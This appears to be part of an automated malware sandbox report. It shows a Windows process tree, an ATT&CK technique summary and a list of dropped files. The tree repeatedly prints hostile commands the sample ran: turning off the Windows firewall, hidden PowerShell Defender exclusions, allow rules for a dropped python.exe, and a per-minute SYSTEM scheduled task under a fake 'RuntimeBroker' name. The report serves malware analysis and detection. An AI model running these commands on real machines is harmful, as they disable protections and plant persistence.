- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /run /tn RuntimeBroker3⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule "name=Windows Security Health Service"3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=in action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=out action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\AppHost\main.py" -u "1bdecc11-5c44-48d6-86d2-3b00d6c3c575"2⤵
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn RuntimeBroker /tr C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /run /tn RuntimeBroker3⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule "name=Windows Security Health Service"3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=in action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=out action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" -m pip install --quiet -r C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\requirements.txt2⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\AppHost\main.py" -u "1bdecc11-5c44-48d6-86d2-3b00d6c3c575"2⤵
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn RuntimeBroker /tr C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /run /tn RuntimeBroker3⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule "name=Windows Security Health Service"3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=in action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=out action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" -m pip install --quiet -r C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\requirements.txt2⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\AppHost\main.py" -u "1bdecc11-5c44-48d6-86d2-3b00d6c3c575"2⤵
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn RuntimeBroker /tr C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /run /tn RuntimeBroker3⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule "name=Windows Security Health Service"3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=in action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=out action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exeC:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Diagnostics\Performance\PerfMonHost.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Diagnostics\Performance\PerfMonHost.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"1⤵
- Executes dropped EXE
-
C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"1⤵
-
C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Active Setup
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Active Setup
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Masquerading
1Match Legitimate Name or Location
1Modify Registry
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
22973799-a871-4218-89c1-64100360b55b.tmp
4ea7d577-6f41-461c-8929-6333cf73843b.tmp
505c0a95-a6d5-4248-8c06-d80fcf85438d.tmp
6ca26304-3f70-487d-a736-3f8ebe4e56a7.tmp
902a641f-2569-401c-b8a4-be89ed220d85.tmp
settings.dat
0520025e-d072-4f11-9d89-3b4302317c8d.tmp
39df0b20-578e-48c2-8be2-e82b87adc51d.tmp
3c30562f-3f81-4705-9c3b-cb34d134000d.tmp
484296ee-c8c2-428d-8287-63ffdd50e3dc.tmp
4b37d725-7c7f-4403-a7cf-06f3650ba3ec.tmp
77a3d845-8797-4482-9cc1-c9f79e5e850a.tmp
88ce7428-6e06-4128-92a7-24fd253a21fa.tmp
f_000015
f_00001e
f_000021
temp-index
temp-index
000003.log
messages.json
craw_background.js
CURRENT
MANIFEST-000001
04458c92-5bce-4cde-b2d6-ca5864ad0769.tmp
44ce4074-65e1-4059-b89e-c87b778771d2.tmp
c4f17aca-4895-478a-95b6-a47a49077c46.tmp
temp-index
temp-index
the-real-index
data_0
data_1
data_2
data_3
85ce4473-7290-4991-bfcb-b266cea669db.tmp
Network Persistent State
fa09516f-9d67-4745-87b7-e7935a717952.tmp
fcb757f2-611e-4ad0-a893-2a5ced7e9be6.tmp
fd293ce3-2d28-4298-b547-a120ebe4a8f0.tmp
fe401fc6-b27e-4738-ac79-2b7bdebb22e8.tmp
.cache
AvifImagePlugin.py
BdfFontFile.py
BlpImagePlugin.py
BmpImagePlugin.py
BufrStubImagePlugin.py
ContainerIO.py
CurImagePlugin.py
DcxImagePlugin.py
DdsImagePlugin.py
EpsImagePlugin.py
ExifTags.py
FitsImagePlugin.py
FliImagePlugin.py
FontFile.py
FpxImagePlugin.py
FtexImagePlugin.py
GbrImagePlugin.py
GdImageFile.py
GifImagePlugin.py
GimpGradientFile.py
GimpPaletteFile.py
GribStubImagePlugin.py
Hdf5StubImagePlugin.py
IcnsImagePlugin.py
IcoImagePlugin.py
ImImagePlugin.py
Image.py
ImageChops.py
ImageCms.py
ImageColor.py
ImageDraw.py
ImageDraw2.py
ImageEnhance.py
ImageFile.py
ImageFilter.py
ImageFont.py
ImageGrab.py
ImageMath.py
ImageMode.py
ImageMorph.py
ImageOps.py
ImagePalette.py
ImagePath.py
ImageQt.py
ImageSequence.py
ImageShow.py
ImageStat.py
ImageText.py
ImageTk.py
ImageTransform.py
ImageWin.py
ImtImagePlugin.py
IptcImagePlugin.py
Jpeg2KImagePlugin.py
JpegImagePlugin.py
JpegPresets.py
McIdasImagePlugin.py
MicImagePlugin.py
MpegImagePlugin.py
MpoImagePlugin.py
MspImagePlugin.py
PSDraw.py
PaletteFile.py
PalmImagePlugin.py
PcdImagePlugin.py
PcfFontFile.py
PcxImagePlugin.py
PdfImagePlugin.py
PdfParser.py
PixarImagePlugin.py
PngImagePlugin.py
PpmImagePlugin.py
PsdImagePlugin.py
QoiImagePlugin.py
SgiImagePlugin.py
SpiderImagePlugin.py
SunImagePlugin.py
TarIO.py
TgaImagePlugin.py
TiffImagePlugin.py
TiffTags.py
WalImageFile.py
WebPImagePlugin.py
WmfImagePlugin.py
XVThumbImagePlugin.py
XbmImagePlugin.py
XpmImagePlugin.py
__init__.py
__main__.py
_binary.py
_deprecate.py
_tkinter_finder.py
_typing.py
_util.py
_version.py
features.py
report.py
__init__.py
ado_consts.py
adodbapi.py
apibase.py
db_print.py
db_table_names.py
xls_read.py
xls_write.py
is64bit.py
process_connect_string.py
schema_table.py
setup.py
adodbapitest.py
adodbapitestconfig.py
dbapi20.py
is64bit.py
setuptestframework.py
test_adodbapi_dbapi20.py
tryconnection.py
RECORD
RECORD
RECORD
__init__.py
__main__.py
core.py
test_certify.py
RECORD
RECORD
__init__.py
__main__.py
api.py
cd.py
__init__.py
__main__.py
constant.py
legacy.py
md.py
models.py
utils.py
version.py
RECORD
RECORD
__init__.py
RECORD
RECORD
RECORD
__init__.py
cli.py
codec.py
compat.py
core.py
idnadata.py
package_data.py
uts46data.py
__init__.py
install.py
isapicon.py
advanced.py
redirector.py
redirector_asynch.py
redirector_with_filter.py
test.py
simple.py
extension_simple.py
threaded_extension.py
RECORD
RECORD
__init__.py
WHEEL
RECORD
LICENSE.txt
LICENSE.txt
LICENSE
COPYING
LICENSE
LICENSE.BSD
LICENSE
LICENSE
LICENSE
LICENSE
LICENSE
LICENSE
LICENSE
__init__.py
__main__.py
__pip-runner__.py
__init__.py
__init__.py
base.py
installer.py
noop.py
venv.py
virtual.py
cache.py
__init__.py
autocompletion.py
base_command.py
cmdoptions.py
command_context.py
index_command.py
main.py
main_parser.py
parser.py
progress_bars.py
req_command.py
spinners.py
status_codes.py
__init__.py
cache.py
check.py
completion.py
configuration.py
debug.py
download.py
freeze.py
hash.py
help.py
index.py
inspect.py
install.py
list.py
lock.py
search.py
show.py
uninstall.py
wheel.py
configuration.py
__init__.py
base.py
installed.py
sdist.py
wheel.py
exceptions.py
__init__.py
collector.py
package_finder.py
sources.py
__init__.py
_distutils.py
_sysconfig.py
base.py
main.py
__init__.py
_json.py
base.py
__init__.py
_compat.py
_dists.py
_envs.py
pkg_resources.py
__init__.py
candidate.py
direct_url.py
format_control.py
index.py
installation_report.py
link.py
release_control.py
scheme.py
search_scope.py
selection_prefs.py
target_python.py
wheel.py
__init__.py
auth.py
cache.py
download.py
lazy_wheel.py
session.py
utils.py
xmlrpc.py
build_tracker.py
metadata.py
metadata_editable.py
wheel.py
wheel_editable.py
check.py
freeze.py
__init__.py
wheel.py
prepare.py
pyproject.py
__init__.py
constructors.py
pep723.py
req_dependency_group.py
req_file.py
req_install.py
req_set.py
req_uninstall.py
base.py
resolver.py
base.py
candidates.py
factory.py
found_candidates.py
provider.py
reporter.py
requirements.py
resolver.py
self_outdated_check.py
_jaraco_text.py
_log.py
appdirs.py
compat.py
compatibility_tags.py
datetime.py
deprecation.py
direct_url_helpers.py
egg_link.py
entrypoints.py
filesystem.py
filetypes.py
glibc.py
hashes.py
logging.py
misc.py
packaging.py
pylock.py
retry.py
subprocess.py
temp_dir.py
unpacking.py
urls.py
virtualenv.py
wheel.py
__init__.py
bazaar.py
git.py
mercurial.py
subversion.py
versioncontrol.py
wheel_builder.py
__init__.py
__init__.py
_cmd.py
adapter.py
cache.py
__init__.py
file_cache.py
redis_cache.py
controller.py
filewrapper.py
heuristics.py
serialize.py
wrapper.py
LICENSE
__init__.py
__main__.py
core.py
__init__.py
compat.py
resources.py
scripts.py
util.py
__init__.py
__main__.py
distro.py
LICENSE.md
__init__.py
cli.py
codec.py
compat.py
core.py
idnadata.py
package_data.py
uts46data.py
__init__.py
exceptions.py
ext.py
fallback.py
__init__.py
_elffile.py
_manylinux.py
_musllinux.py
_parser.py
_structures.py
_tokenizer.py
dependency_groups.py
direct_url.py
errors.py
__init__.py
_spdx.py
markers.py
metadata.py
pylock.py
requirements.py
specifiers.py
tags.py
utils.py
version.py
__init__.py
__init__.py
__main__.py
_xdg.py
android.py
api.py
macos.py
unix.py
version.py
windows.py
__init__.py
__main__.py
console.py
filter.py
__init__.py
formatter.py
__init__.py
_mapping.py
lexer.py
__init__.py
_mapping.py
python.py
modeline.py
plugin.py
regexopt.py
scanner.py
sphinxext.py
style.py
__init__.py
_mapping.py
token.py
unistring.py
util.py
__init__.py
_impl.py
__init__.py
_in_process.py
__init__.py
adapters.py
certs.py
compat.py
exceptions.py
help.py
models.py
packages.py
utils.py
__init__.py
providers.py
reporters.py
__init__.py
abstract.py
criterion.py
exceptions.py
resolution.py
structs.py
__init__.py
__main__.py
_cell_widths.py
_emoji_codes.py
_emoji_replace.py
_export_format.py
_extension.py
_fileno.py
_inspect.py
_log_render.py
_loop.py
_null_file.py
_palettes.py
_pick.py
_ratio.py
_spinners.py
_stack.py
_timer.py
_win32_console.py
_windows.py
_windows_renderer.py
_wrap.py
abc.py
align.py
ansi.py
bar.py
box.py
cells.py
color.py
color_triplet.py
columns.py
console.py
constrain.py
containers.py
control.py
default_styles.py
diagnose.py
emoji.py
errors.py
file_proxy.py
filesize.py
highlighter.py
json.py
jupyter.py
layout.py
live.py
live_render.py
logging.py
markup.py
measure.py
padding.py
pager.py
palette.py
panel.py
pretty.py
progress.py
progress_bar.py
prompt.py
protocol.py
region.py
repr.py
rule.py
scope.py
screen.py
segment.py
spinner.py
status.py
style.py
styled.py
syntax.py
table.py
terminal_theme.py
text.py
theme.py
themes.py
traceback.py
tree.py
__init__.py
_parser.py
_re.py
_types.py
__init__.py
_writer.py
py.typed
__init__.py
_api.py
_macos.py
_openssl.py
_ssl_constants.py
_windows.py
LICENSE.txt
_version.py
connection.py
connectionpool.py
__init__.py
pyopenssl.py
socks.py
poolmanager.py
response.py
request.py
retry.py
ssl_.py
timeout.py
url.py
RECORD
RECORD
RECORD
RECORD
RECORD
RECORD
RECORD
WHEEL
pythoncom.py
basictimerapp.py
customprint.py
dlgappdemo.py
dojobapp.py
helloapp.py
cmdserver.py
createwin.py
demoutils.py
dibdemo.py
dlgtest.py
dyndlg.py
fontdemo.py
guidemo.py
hiertest.py
menutest.py
objdoc.py
flash.py
msoffice.py
ocxserialtest.py
ocxtest.py
webbrowser.py
openGLDemo.py
progressbar.py
sliderdemo.py
splittst.py
threadedgui.py
toolbar.py
__init__.py
__init__.py
configui.py
dbgcon.py
dbgpyapp.py
debugger.py
fail.py
ideoptions.py
list.py
login.py
status.py
DockingBar.py
app.py
bitmap.py
cmdline.py
dbgcommands.py
dlgappcore.py
ModuleBrowser.py
__init__.py
coloreditor.py
configui.py
document.py
editor.py
frame.py
template.py
vss.py
help.py
interact.py
intpyapp.py
intpydde.py
scriptutils.py
sgrepmdi.py
startup.py
stdin.py
toolmenu.py
window.py
winout.py
AutoExpand.py
AutoIndent.py
CallTips.py
FormatParagraph.py
IdleHistory.py
PyParse.py
__init__.py
activex.py
afxres.py
dialog.py
docview.py
object.py
thread.py
window.py
IDLEenvironment.py
__init__.py
bindings.py
config.py
configui.py
control.py
document.py
find.py
formatter.py
keycodes.py
scintillacon.py
view.py
TraceCollector.py
browseProjects.py
browser.py
hierlist.py
regedit.py
regpy.py
RECORD
license.txt
License.txt
README.txt
License.txt
LICENSE.txt
__init__.py
adapters.py
certs.py
compat.py
exceptions.py
help.py
models.py
packages.py
utils.py
RECORD
RECORD
_version.py
connection.py
connectionpool.py
__init__.py
emscripten_fetch_worker.js
pyopenssl.py
socks.py
poolmanager.py
py.typed
response.py
request.py
retry.py
ssl_.py
timeout.py
url.py
RECORD
BackupRead_BackupWrite.py
BackupSeek_streamheaders.py
CopyFileEx.py
CreateFileTransacted_MiniVersion.py
EvtFormatMessage.py
EvtSubscribe_pull.py
EvtSubscribe_push.py
FileSecurityTest.py
GetSaveFileName.py
NetValidatePasswordPolicy.py
OpenEncryptedFileRaw.py
RegCreateKeyTransacted.py
RegRestoreKey.py
SystemParametersInfo.py
setup.py
ddeclient.py
ddeserver.py
desktopmanager.py
eventLogDemo.py
getfilever.py
mmapfile_demo.py
cat.py
runproc.py
print_desktop.py
rastest.py
GetTokenInformation.py
account_rights.py
explicit_entries.py
get_policy_info.py
list_rights.py
localized_names.py
lsaregevent.py
lsastore.py
query_information.py
regsave_sa.py
regsecurity.py
sa_inherit.py
security_enums.py
set_file_audit.py
set_file_owner.py
set_policy_info.py
setkernelobjectsecurity.py
setnamedsecurityinfo.py
setsecurityinfo.py
setuserobjectsecurity.py
fetch_url.py
simple_auth.py
socket_server.py
validate_password.py
nativePipeTestService.py
pipeTestService.py
pipeTestServiceClient.py
serviceEvents.py
timer_demo.py
win32clipboardDemo.py
win32clipboard_bitmapdemo.py
win32comport_demo.py
win32console_demo.py
win32cred_demo.py
win32fileDemo.py
win32gui_demo.py
win32gui_devicenotify.py
win32gui_dialog.py
win32gui_menu.py
win32gui_taskbar.py
win32netdemo.py
win32rcparser_demo.py
win32servicedemo.py
win32ts_logoff_disconnected.py
testwnet.py
winnetwk.py
winprocess.py
_win32verstamp_pywin32ctypes.py
afxres.py
commctrl.py
mmsystem.py
netbios.py
ntsecuritycon.py
pywin32_bootstrap.py
pywin32_testutil.py
pywintypes.py
rasutil.py
regcheck.py
regutil.py
sspi.py
sspicon.py
win2kras.py
win32con.py
win32cryptcon.py
win32evtlogutil.py
win32gui_struct.py
win32inetcon.py
win32netcon.py
win32pdhquery.py
win32pdhutil.py
win32rcparser.py
win32serviceutil.py
win32timezone.py
win32traceutil.py
win32verstamp.py
winerror.py
winioctlcon.py
winnt.py
winperf.py
winxptheme.py
ControlService.py
BrandProject.py
bulkstamp.py
vssutil.py
backupEventLog.py
h2py.py
killProcName.py
rasutil.py
regsetup.py
setup_d.py
handles.py
test_clipboard.py
test_exceptions.py
test_odbc.py
test_pywintypes.py
test_security.py
test_sspi.py
test_win32api.py
test_win32clipboard.py
test_win32cred.py
test_win32crypt.py
test_win32event.py
test_win32file.py
test_win32gui.py
test_win32guistruct.py
test_win32inet.py
test_win32net.py
test_win32pipe.py
test_win32print.py
test_win32profile.py
test_win32rcparser.py
test_win32timezone.py
test_win32trace.py
test_win32ts.py
test_win32wnet.py
testall.py
winxpgui.py
__init__.py
CLSIDToClass.py
__init__.py
build.py
combrowse.py
connect.py
dynamic.py
gencache.py
genpy.py
makepy.py
selecttlb.py
tlbrowse.py
util.py
connect.py
dump_clipboard.py
eventsApartmentThreaded.py
eventsFreeThreaded.py
excelAddin.py
excelRTDServer.py
iebutton.py
ietoolbar.py
outlookAddin.py
trybag.py
__init__.py
makegw.py
makegwenum.py
makegwparse.py
olectl.py
__init__.py
connect.py
dispatcher.py
exception.py
factory.py
localserver.py
policy.py
register.py
util.py
PythonTools.py
dictionary.py
interp.py
perfmon.py
test_pycomtest.py
storagecon.py
GenTestScripts.py
__init__.py
daodump.py
errorSemantics.py
pippo_server.py
policySemantics.py
testADOEvents.py
testAXScript.py
testAccess.py
testArrays.py
testClipboard.py
testCollections.py
testConversionErrors.py
testDCOM.py
testDates.py
testDictionary.py
testDynamic.py
testExchange.py
testExplorer.py
testGIT.py
testGatewayAddresses.py
testIterators.py
testMSOffice.py
testMSOfficeEvents.py
testMarshal.py
testPersist.py
testPippo.py
testPyComTest.py
testROT.py
testServers.py
testShell.py
testStorage.py
testStreams.py
testWMI.py
testall.py
testmakepy.py
testvb.py
testvbscript_regexp.py
testxslt.py
util.py
universal.py
util.py
__init__.py
adsicon.py
objectPicker.py
scp.py
search.py
test.py
EditSecurity.py
EditServiceSecurity.py
adb.py
codecontainer.py
contexts.py
debugger.py
documents.py
dump.py
expressions.py
gateways.py
stackframe.py
util.py
asputil.py
